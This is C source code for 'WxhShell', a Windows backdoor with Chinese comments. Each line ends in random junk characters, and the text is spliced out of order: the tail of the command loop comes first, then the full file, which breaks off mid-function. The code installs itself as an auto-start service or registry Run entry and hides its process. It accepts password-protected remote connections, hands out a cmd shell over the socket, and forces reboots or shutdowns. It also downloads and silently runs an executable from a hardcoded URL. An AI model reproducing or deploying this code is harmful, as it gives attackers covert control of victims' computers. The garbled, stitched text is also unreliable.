  case 'd': { a(eKb2CX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Fs+H,S<  
    if(Boot(SHUTDOWN)) ld7B!_b<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pkKcTY1Fx  
    else { O-=~Bn _  
    closesocket(wsh); C)a;zU;9  
    ExitThread(0); cm'`u&S  
    } 1Mtm?3Pt  
    break; AW R   
    } ROWI.|  
  // 获取shell UA8*8%v  
  case 's': { F YLBaN  
    CmdShell(wsh); UyUz_6J  
    closesocket(wsh); +wHrS}I#g  
    ExitThread(0); %3:[0o={d  
    break; J-k/#A4o  
  } K!+IRA@  
  // 退出 8E+]yB"  
  case 'x': { moOc G3=9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +NT8dd  
    CloseIt(wsh); 4%GwCEnS  
    break; 2LTMt?  
    } L%CBz]`  
  // 离开 j1141md 5  
  case 'q': { %*A|hK+G:W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JG:li} N  
    closesocket(wsh); 0^-1/Ec  
    WSACleanup(); <y4WG  
    exit(1); o?O> pK  
    break; #3_t}<fX  
        } !P"@oJ/Yy_  
  } XzD+#+By  
  } [gybdI5wur  
(Ev=kO  
  // 提示信息 '| 6ZPv&N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Rb[0E$  
} L|*0 A=6  
  } Dga;GYx  
(X3}&aLF  
  return; 9 \lSN5W  
} ~ubcD6f  
DmA~Vj!a^y  
// shell模块句柄 N+9W2n  
int CmdShell(SOCKET sock) ?s-Z3{k  
{ \+T U{vr  
STARTUPINFO si; _pN:p7l(  
ZeroMemory(&si,sizeof(si)); *I6W6y;E=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wxc24y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;]PP +h  
PROCESS_INFORMATION ProcessInfo; u==`]\_@  
char cmdline[]="cmd"; }I3m8A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ; "K"S[  
  return 0; sq45fRAi  
} "|^-Yk\U  
[a[.tR38e  
// 自身启动模式 b$JrLZs$_  
int StartFromService(void) ,vh $G 7D  
{ N87)rhXSo,  
typedef struct ;ipT0*Y  
{ EZee kxs  
  DWORD ExitStatus; WZQ EBXs  
  DWORD PebBaseAddress; 6g-Q  
  DWORD AffinityMask; >At* jg48  
  DWORD BasePriority; Jmml2?V-c  
  ULONG UniqueProcessId; qGXY  
  ULONG InheritedFromUniqueProcessId; -FGM>~x  
}   PROCESS_BASIC_INFORMATION; /7fD;H^*  
' 5xvR G  
PROCNTQSIP NtQueryInformationProcess; t}wwRWo2?f  
dZ,IXA yB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wsEOcaie  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tv6HPD$[  
oWb\T 2!m  
  HANDLE             hProcess; L&,&SDr  
  PROCESS_BASIC_INFORMATION pbi; ]pq(Q:"P,5  
uefrE53  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9-"!v0['  
  if(NULL == hInst ) return 0; m|]:oT`M  
Ju@8_ ?8=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A:4?Jd>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QF4)@ r{2x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9q]n &5  
k4-S:kVo  
  if (!NtQueryInformationProcess) return 0; ;W?mQUo:P8  
( &!RX.i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ial"nV0>0  
  if(!hProcess) return 0; wM1&_%N  
\&MJ(F>vJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pq(7lua7  
3%(,f,  
  CloseHandle(hProcess); ]R*h3U@5#K  
Jq*Q;}n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wA2^ I70-  
if(hProcess==NULL) return 0; 7ND4Booul  
L-DL)8;`  
HMODULE hMod; fl}! V4  
char procName[255]; ZKTY1JW_  
unsigned long cbNeeded; 8.zYa(< 2  
}Y!v"DO#Q*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *_sSM+S  
dlRTxb^Y>u  
  CloseHandle(hProcess); .x'?&7#(  
h7kn >q;  
if(strstr(procName,"services")) return 1; // 以服务启动 Vj[hT~{f  
+yI2G! $T9  
  return 0; // 注册表启动 @+7CfvM  
} ~5>k_\ G8  
D4O^5?F)|  
// 主模块 ] B?NDxU  
int StartWxhshell(LPSTR lpCmdLine) v|R#[vtFd  
{ 8bdx$,$k  
  SOCKET wsl; Ei4Iv#Oi`  
BOOL val=TRUE; (_3QZ  
  int port=0; UB,0c)   
  struct sockaddr_in door; `b KJ  
KU^|T2s%  
  if(wscfg.ws_autoins) Install(); :{s0tw>Z  
[4r<WvUaM  
port=atoi(lpCmdLine); )4R[C={  
*M-'R*Np  
if(port<=0) port=wscfg.ws_port; &fW'_,-  
K]&i9`>N   
  WSADATA data; }Ud'j'QMy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ce/D[%  
/V }Z,'+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FA{'Ki`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); meYGIP:n  
  door.sin_family = AF_INET; }t*:EgfI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +GEdVB  
  door.sin_port = htons(port); X#o<))  
? =I']$MH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 73l,PJ  
closesocket(wsl); ~t<uX "K  
return 1; Fh4Exl@6  
} Z^c\M\`7  
c-**~tb(  
  if(listen(wsl,2) == INVALID_SOCKET) { >c$3@$  
closesocket(wsl); `LNKbTc[m  
return 1; b$sT`+4q  
} |j4p  
  Wxhshell(wsl); i3cMRcS;  
  WSACleanup(); K!8l!FFl  
u{cb[M  
return 0; xYY^tZIV  
'=(D7F;  
} n-{.7  
?u5jX J0L  
// 以NT服务方式启动 u%5 ,U-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \A6 }=  
{ _ BoA&Ism  
DWORD   status = 0; ]:}7-;$V  
  DWORD   specificError = 0xfffffff; p]qz+Z/  
!ScEA=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p }e| E!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1'H!S%fS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X/ Ii}X/p  
  serviceStatus.dwWin32ExitCode     = 0; qIxe)+.  
  serviceStatus.dwServiceSpecificExitCode = 0; .O SQ8W }  
  serviceStatus.dwCheckPoint       = 0; o$#q/L  
  serviceStatus.dwWaitHint       = 0; 5cb8=W -  
b3ys"Vyn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z>~7|vl  
  if (hServiceStatusHandle==0) return; :1;"{=Yx}  
6]mAtA`Y  
status = GetLastError(); |Y v,zEY)  
  if (status!=NO_ERROR) r::0\{{r"p  
{ e?N3&ezp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z4g<Ys*  
    serviceStatus.dwCheckPoint       = 0; K1w:JA6(  
    serviceStatus.dwWaitHint       = 0; L) UCVm  
    serviceStatus.dwWin32ExitCode     = status; 2t?Vl%<  
    serviceStatus.dwServiceSpecificExitCode = specificError; =7EkN% V:{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )6%a9&~H  
    return; }@~+%_;  
  } ]TN/n%\  
/4}y2JVv)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k\RS L  
  serviceStatus.dwCheckPoint       = 0; EHfB9%O7y  
  serviceStatus.dwWaitHint       = 0; R 5\|pC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -wVuM.n(Z  
} eh8lPTKil  
Lj/  
// 处理NT服务事件,比如:启动、停止 (C.aQ)|T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fzt7@VNxc  
{ Z*IW*f&0>1  
switch(fdwControl) a`zHx3Yg  
{ %r&36d'  
case SERVICE_CONTROL_STOP: 39d$B'"<1  
  serviceStatus.dwWin32ExitCode = 0; 6n;? :./  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4%4Yqx )  
  serviceStatus.dwCheckPoint   = 0; nW`] =  
  serviceStatus.dwWaitHint     = 0; ^V7)V)Z;0  
  { |pBvy1e4)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^2$ent  
  } >Bu _NoM  
  return; wxN&k$`a  
case SERVICE_CONTROL_PAUSE: S4rm K&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DQ&\k'"\  
  break; Oc-ia)v1G  
case SERVICE_CONTROL_CONTINUE: _:FD#5BZ1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )P,pW?h$  
  break; cM\BEh h  
case SERVICE_CONTROL_INTERROGATE: mex@~VK  
  break; +:W?:\  
}; t>x!CNb'C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WO6+r?0M2  
} b;nqhO[f}  
o6:@j#b  
// 标准应用程序主函数 wr~Qy4 ny  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [Fv_~F491  
{ deJ/3\t  
I:0dz:T7*  
// 获取操作系统版本 q\<NW%KtX  
OsIsNt=GetOsVer(); [ua[A;K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V{ ~~8b1E  
c7R&/JV  
  // 从命令行安装 c=^69>w  
  if(strpbrk(lpCmdLine,"iI")) Install(); .EvP%A m  
B1]FB|0's  
  // 下载执行文件 =1xVw5^F  
if(wscfg.ws_downexe) { )|#ExyRO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cQsSJBZ[v5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]:m4~0^#-(  
} MP.ye|i4Q  
MZqHL4<|  
if(!OsIsNt) { ,XI=e=  
// 如果时win9x,隐藏进程并且设置为注册表启动 g4{0  
HideProc(); F~~9/#  
StartWxhshell(lpCmdLine); F%4N/e'L  
} %Aa_Bumf*:  
else )6eFYt%c  
  if(StartFromService()) K92M9=>  
  // 以服务方式启动 @, AB 2D  
  StartServiceCtrlDispatcher(DispatchTable); rv<qze;?|  
else rDu?XJA  
  // 普通方式启动 KuEM~Q=  
  StartWxhshell(lpCmdLine); ggpa !R  
l@]Fzl  
return 0; 19RbIG/X  
} b@sq}8YD|z  
\Ym!5,^o  
.4[M-@4+]  
ylDfr){  
=========================================== >h~>7i(A  
"{3MXAFe  
;Wsl 'e/  
]\]mwvLT  
ymT]ow6C  
prB:E[1  
" 8#4Gs Q"  
um\A  
#include <stdio.h> L`fT;2  
#include <string.h> }WF6w+  
#include <windows.h> 2vddx<&  
#include <winsock2.h> Z=< D`  
#include <winsvc.h> V343 IT\  
#include <urlmon.h> 85Kf>z::c  
)bpdj,  
#pragma comment (lib, "Ws2_32.lib") AgB$ w4  
#pragma comment (lib, "urlmon.lib") <y"lL>JR  
- s2Yhf  
#define MAX_USER   100 // 最大客户端连接数 Q5IN1 ^=HF  
#define BUF_SOCK   200 // sock buffer QUF1_Sa  
#define KEY_BUFF   255 // 输入 buffer " Lh XR  
|/Y!R>El  
#define REBOOT     0   // 重启 }:1qK67S  
#define SHUTDOWN   1   // 关机 I*mBU^<9V  
=/4}!B/  
#define DEF_PORT   5000 // 监听端口 T b*Q4:r"  
$-6[9d-N  
#define REG_LEN     16   // 注册表键长度 LmUR@ /V Q  
#define SVC_LEN     80   // NT服务名长度 ,S~A]uH'  
A5O;C  
// 从dll定义API jO`L:D/C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vkW;qt}yO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'C;KNc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r4iT 9 D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &yqk96z  
z^y -A ?  
// wxhshell配置信息 GkKoc v  
struct WSCFG { FY]Et= p  
  int ws_port;         // 监听端口 ~dLe9-_9  
  char ws_passstr[REG_LEN]; // 口令 ): r'IR  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Byl~n3*D  
  char ws_regname[REG_LEN]; // 注册表键名 7]hRAhJ8I  
  char ws_svcname[REG_LEN]; // 服务名 tMo=q7ig  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 APU~y5vG (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pvRa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HD z"i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rKl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :z$+leNH\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8P&z@E{y  
Qr?(2t#  
}; ;:bnLSPo  
$us7fuKE  
// default Wxhshell configuration lH"VLO2l  
struct WSCFG wscfg={DEF_PORT, mk6>}z*  
    "xuhuanlingzhe", <u  
    1, D@k#'KU  
    "Wxhshell", '2{60t_A  
    "Wxhshell", ntZHO}'  
            "WxhShell Service", j3>&Su>H4  
    "Wrsky Windows CmdShell Service", 8Z 0@-8vi  
    "Please Input Your Password: ", )1O|+m k  
  1, q-e3;$  
  "http://www.wrsky.com/wxhshell.exe", CZ(fP86e  
  "Wxhshell.exe" Owh:(EJ"d  
    }; 7}tXF  
/8P7L'Rb  
// 消息定义模块 msw=x0{n5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]_4HtcL4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '9AYE"7Ydk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +.X3&|@k  
char *msg_ws_ext="\n\rExit."; p,\(j  
char *msg_ws_end="\n\rQuit."; ;|oem\dKv  
char *msg_ws_boot="\n\rReboot..."; ,LL=b-Es  
char *msg_ws_poff="\n\rShutdown..."; _ n4C~  
char *msg_ws_down="\n\rSave to "; xB}B1H%  
S^~ lQ|D  
char *msg_ws_err="\n\rErr!"; 4>]B8ZxH  
char *msg_ws_ok="\n\rOK!"; Qaiqx"x3  
=DI/|^j{ ;  
char ExeFile[MAX_PATH]; ;Udx|1o  
int nUser = 0; <In+V  
HANDLE handles[MAX_USER]; x0xQFlGk  
int OsIsNt; m\K1Ex  
a%wa3N=v  
SERVICE_STATUS       serviceStatus; /qd~|[Kx:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QVD^p;b  
%O>_$ 4q  
// 函数声明 Q?dzro4C  
int Install(void); IY|>'}UU#  
int Uninstall(void); 3[%n@i4H|  
int DownloadFile(char *sURL, SOCKET wsh); .?r} 3Ch  
int Boot(int flag); tCu9 D  
void HideProc(void); D]K?ntS[*  
int GetOsVer(void); |1/?>=dDm  
int Wxhshell(SOCKET wsl); PxJvE*6^H  
void TalkWithClient(void *cs); yuF\YOA9  
int CmdShell(SOCKET sock);  L$[1+*  
int StartFromService(void); VQpwHzh  
int StartWxhshell(LPSTR lpCmdLine); ;GZ'Rb  
RNX>I,2sh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CbT ;#0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wd Di5-A4  
tj tN<y  
// 数据结构和表定义 &lB>G[t  
SERVICE_TABLE_ENTRY DispatchTable[] = +)7h)uq  
{ x|3G}[=  
{wscfg.ws_svcname, NTServiceMain}, ^]$rh.7&  
{NULL, NULL} ~|`jIqU  
}; G\*`%B_ n  
g=S|lVQm  
// 自我安装 prVqV-S6TY  
int Install(void) J8DKia|h(  
{ smuQ1.b  
  char svExeFile[MAX_PATH]; byJ[1UK  
  HKEY key; ,h.hgyt  
  strcpy(svExeFile,ExeFile); Ewo6Q){X  
vH]2t.\  
// 如果是win9x系统,修改注册表设为自启动 [uu<aRAg3O  
if(!OsIsNt) { zB+zw\ncN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @G=_nZxv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YU1z\pK  
  RegCloseKey(key); f7 zGz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kfy|3KA3m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5+*CBG}  
  RegCloseKey(key); sHHu<[psM  
  return 0; vNAQ/Q  
    } FX/f0C3CK  
  } #vT~D>zj  
} R"e533  
else { ?;p45y~n%  
s%)>O{{)  
// 如果是NT以上系统,安装为系统服务 4zf(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n*N`].r#{=  
if (schSCManager!=0) d?=r:TBU  
{ D(M^%z2N  
  SC_HANDLE schService = CreateService QeD ;GzG  
  ( _Ns_$_  
  schSCManager, 6$p6dmV|  
  wscfg.ws_svcname, M}9PicI?7  
  wscfg.ws_svcdisp, Rhh.fV3  
  SERVICE_ALL_ACCESS, =OooTZb:x-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :"Kr-Hm`  
  SERVICE_AUTO_START, o>\epQt~/p  
  SERVICE_ERROR_NORMAL, rd}|^&e!Dy  
  svExeFile, ,}$[;$ye  
  NULL, O)}5`0@L  
  NULL, =2, iNn  
  NULL, -2y>X`1Y  
  NULL, w'P!<JaZ  
  NULL THnZbh4#)  
  ); P64< O 5l/  
  if (schService!=0) (Bu-o((N@0  
  { i8` 0-  
  CloseServiceHandle(schService); f.Ms3))  
  CloseServiceHandle(schSCManager); ')j@OO3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5=P*<Dnj  
  strcat(svExeFile,wscfg.ws_svcname); (rjv3=9\3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n7'X.=o7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Na_O :\x#  
  RegCloseKey(key); ^9oJuT!tu  
  return 0; GP=&S|hi  
    } "A&HNkRz  
  } 6zW3!_tz  
  CloseServiceHandle(schSCManager); &, WQr  
} }%k 3  
} |(rTz!!-  
$U}GX'1LZ  
return 1; bF? {  
} O.OSLezTQ  
R(DlJ  
// 自我卸载 Z=>#|pW,)  
int Uninstall(void) [xg& `x9,.  
{ .V|o-~c  
  HKEY key; J, vEZT<Mt  
6?KJ"Ai9  
if(!OsIsNt) { 33b 3v\N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BW&)Zz  
  RegDeleteValue(key,wscfg.ws_regname); _.3O(?p,  
  RegCloseKey(key); 5KwT(R o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %8T"h  
  RegDeleteValue(key,wscfg.ws_regname); !Ytr4DtM  
  RegCloseKey(key); dO\irv)  
  return 0; %jmL#IN)  
  } >^%TY^7n  
} >^ M=/+<c  
} y4N=v{EbL  
else { Y @[Dy  
hZLwg7X!   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Fm7!@u^0  
if (schSCManager!=0) F<A[S "  
{ c~iAjq+c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +umVl  
  if (schService!=0) by0M(h  
  { [f\TnXq24  
  if(DeleteService(schService)!=0) { =9#cf-?  
  CloseServiceHandle(schService); R(N5K4J  
  CloseServiceHandle(schSCManager); t5jZ8&M5]  
  return 0; fkK42*U@r  
  } \Dr?}D  
  CloseServiceHandle(schService); P+[\9Gg  
  } K,L  
  CloseServiceHandle(schSCManager); (uskVK>L  
} NU$?BiB?R  
} 8^6dK  
^K n{L  
return 1; xdd;!HK,  
} T_b$8GYfCY  
Dg2=;)"L  
// 从指定url下载文件 z\ ?cazQ  
int DownloadFile(char *sURL, SOCKET wsh) WEFvJ0]  
{ uGH>|V9'c  
  HRESULT hr; b)Dzau  
char seps[]= "/"; &Ew{{t;"  
char *token; D\i8WU  
char *file; DZ~qk+,I  
char myURL[MAX_PATH]; V50FX }i  
char myFILE[MAX_PATH]; e|jmOYWG  
Z 361ko}  
strcpy(myURL,sURL); {%Q &CQG_  
  token=strtok(myURL,seps); ;UG]ckV-  
  while(token!=NULL) BX=YS)  
  { F~tT5?+  
    file=token; SN/ e41  
  token=strtok(NULL,seps); ]Sgc 42hk  
  } Foc) u~  
9py *gN#  
GetCurrentDirectory(MAX_PATH,myFILE); /K<.$B8  
strcat(myFILE, "\\"); UuvI?D  
strcat(myFILE, file); LU4k/  
  send(wsh,myFILE,strlen(myFILE),0); 9>na3ISh  
send(wsh,"...",3,0); +Pm yFJH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \5s #9  
  if(hr==S_OK) ?Wz rv&E2  
return 0; |VRzIA4M\  
else *Af:^>mh  
return 1; [exIK  
jLu`DKB  
} K}p!W"!o  
&E&e5(&$  
// 系统电源模块 Ot#O];3  
int Boot(int flag)  iI(7{$y  
{ G 0;5I_D/  
  HANDLE hToken; dy%#E2f  
  TOKEN_PRIVILEGES tkp; ypK1 sw  
NWq>Z!x`  
  if(OsIsNt) { lYq4f|5H}m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s9'lw'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }+4^ZbX+:  
    tkp.PrivilegeCount = 1; <Fa]k'<^)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; io{uN/!X_J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vx6/Rehj  
if(flag==REBOOT) { B5Y 3GWhrx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8V$:th('  
  return 0; D-<9kBZs  
} (d2|r)O  
else { RiX~YL eM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ow\dk^\-G8  
  return 0; ZH<:YOQ  
} )|?s!rw +  
  } *6trK`tx^  
  else { 8 aHs I(  
if(flag==REBOOT) { q`8M9-~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H=j&uv8  
  return 0; D L0i  
} J<4 egk4  
else { oSOO5dk:z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xF4>D!T%8  
  return 0; &>m# "A\^  
} <s7OY`(8   
} wtY*{m2  
D+ )R_  
return 1; =E?!!EIq.  
} |E YJbL;1%  
]'2;6%. 4  
// win9x进程隐藏模块 SCZ6:P"$qX  
void HideProc(void) vxRy7:G"  
{ o"a~  
[o0Z; }fU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y,D4b6  
  if ( hKernel != NULL ) 6:v$g  
  { i,Q{Z@,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ymxYE#q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m.}Yn,  
    FreeLibrary(hKernel); 5g{F-  
  } :bhpYEUMx  
^K#PcPF-j  
return; 9{;cp?\)M  
} +v`?j+6z  
F(w  
// 获取操作系统版本 Wx<fD()  
int GetOsVer(void) ^" EsBt  
{ KAucSd`  
  OSVERSIONINFO winfo; 5ZRO{rf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MifPZQ  
  GetVersionEx(&winfo); \[Dxg`;4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ZnVQ,zY  
  return 1; x! A.**  
  else >Bj+!)96q  
  return 0; _djr>C=H"  
} oTPPYi[r  
1,tM  
// 客户端句柄模块 f"=1_*eH  
int Wxhshell(SOCKET wsl) pt rQ~m-  
{ 5jTBPct   
  SOCKET wsh; K9#=@}!3L  
  struct sockaddr_in client; ]+SVQ|v0  
  DWORD myID; /=5YHq>  
8KQ]3Z9p  
  while(nUser<MAX_USER) us2X:X)  
{ o<hT/ P  
  int nSize=sizeof(client); u7oHqo`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dsx'l0q 'i  
  if(wsh==INVALID_SOCKET) return 1; VZ`L-P$AF  
Y R2Q6}xR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J5Nz<  
if(handles[nUser]==0) S+d@RMdes  
  closesocket(wsh); 0jlwL  
else thYG1Cs  
  nUser++; E0miX)AG  
  } -gWqq7O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .KA){_jBp  
#sn2Vmi  
  return 0; Jzg>Y?jN R  
} SA| AS<  
N6"b Ox J(  
// 关闭 socket f xWW "B*A  
void CloseIt(SOCKET wsh) "pDwN$c  
{ FZW)C'j  
closesocket(wsh); FJ|6R(T_  
nUser--; dU7+rc2,CU  
ExitThread(0); (QPfrR=J4  
} BrdHTk= Vy  
Ye'=F  
// 客户端请求句柄 f__r " N  
void TalkWithClient(void *cs) dPdodjSu,!  
{ GWNLET  
l Ikh4T6i  
  SOCKET wsh=(SOCKET)cs; {xw"t9(fE  
  char pwd[SVC_LEN]; Rn (vG-xQ  
  char cmd[KEY_BUFF]; z%Xz*uu(|  
char chr[1]; VOkEDH  
int i,j; =@ '>|-w|  
X*'tJN$  
  while (nUser < MAX_USER) { HAHv^  
IA\CBwiLj  
if(wscfg.ws_passstr) { Mpfdl65  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \"]vSx>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S1iF1X(+?X  
  //ZeroMemory(pwd,KEY_BUFF); pZS0;T]W,  
      i=0; eY)JuJ?  
  while(i<SVC_LEN) { 03WLVP@  
ewNzRH,b  
  // 设置超时 nN=o/zd  
  fd_set FdRead; K0|8h!WF+  
  struct timeval TimeOut; Ue>;h9^  
  FD_ZERO(&FdRead); x<m{B@3T  
  FD_SET(wsh,&FdRead); t:DZow  
  TimeOut.tv_sec=8; +:hZ,G?>  
  TimeOut.tv_usec=0; E4a`cGb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }klET   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J YA  
 k3[%pS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0w0\TWz*   
  pwd=chr[0]; *o}LI6_u  
  if(chr[0]==0xd || chr[0]==0xa) {  p)5j~Nl  
  pwd=0; XYJ7k7zc+Y  
  break; u!=9.3  
  } O "jX|5  
  i++; U*G8 }W  
    } BO#XQ,  
~i)m(65:  
  // 如果是非法用户,关闭 socket {*gO1TZt9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N$8do?  
} I7b_dJD;*  
9] i$`y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K.y2 $b/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C+, JLK  
=J2\"6BnzA  
while(1) { :ET05MFs\#  
cR/-FR  
  ZeroMemory(cmd,KEY_BUFF); K,uTO7Mk[  
wT;3>%Mtr  
      // 自动支持客户端 telnet标准   g_kR5Wxpt  
  j=0; <Yzk]98W5.  
  while(j<KEY_BUFF) { ,G";ny[$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 83 O+`f  
  cmd[j]=chr[0]; {u3eel  
  if(chr[0]==0xa || chr[0]==0xd) { lzJ[`i.  
  cmd[j]=0; 8VbHZ9Q  
  break; AS 5\X.%L*  
  } _|VWf8?\  
  j++; 5H (CP  
    } dKs^Dq  
C$9+p@G6  
  // 下载文件 o5!"dxR  
  if(strstr(cmd,"http://")) { Q_ zGs6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *h+@a  
  if(DownloadFile(cmd,wsh)) {`2R<O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<~N x~w{  
